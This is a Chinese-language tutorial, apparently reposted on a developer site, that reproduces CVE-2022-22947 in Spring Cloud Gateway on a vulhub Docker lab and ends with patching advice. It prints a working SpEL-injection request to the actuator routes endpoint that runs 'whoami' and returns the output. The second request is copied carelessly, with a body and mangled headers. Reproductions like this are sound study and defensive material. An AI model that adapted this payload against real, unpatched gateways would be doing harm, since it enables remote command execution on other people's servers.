iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析
  • 354
分享到

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析

2024-04-02 19:04:59 354人浏览 安东尼

Python 官方文档:入门教程 => 点击学习

摘要

目录1.漏洞描述2.影响版本3.漏洞环境搭建4.漏洞复现5.修复方案1.漏洞描述 spring cloud Gateway 是基于 spring Framework 和 Spring

1.漏洞描述

spring cloud Gateway 是基于 spring Framework 和 Spring Boot 构建的 api 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

2.影响版本

3.1.0

3.0.0至3.0.6

Spring Cloud Gateway 其他已不再更新的版本

3.漏洞环境搭建

利用Docker搭建漏洞复现环境

git pul #更新vulhub

切换到/vulhub/spring/CVE-2022-22947目录

拉取漏洞环境

docker-compose up -d

访问Http://192.168.42.145:8080

4.漏洞复现

添加包含恶意的路由

POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Accept-Encoding: gzip, deflate
Accept: **;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-fORM-urlencoded
Content-Length: 334

{
  "id": "EchoSec",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

命令执行成功

GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWEBKit/537.36 (Khtml, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334

{
  "id": "EchoSec",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

5.修复方案

1)3.1.x用户应升级到3.1.1+;

2)3.0.x用户应升级到3.0.7+;

3)如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。

到此这篇关于Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的文章就介绍到这了,更多相关Spring Cloud Gateway漏洞内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析

本文链接: https://www.lsjlt.com/news/165836.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作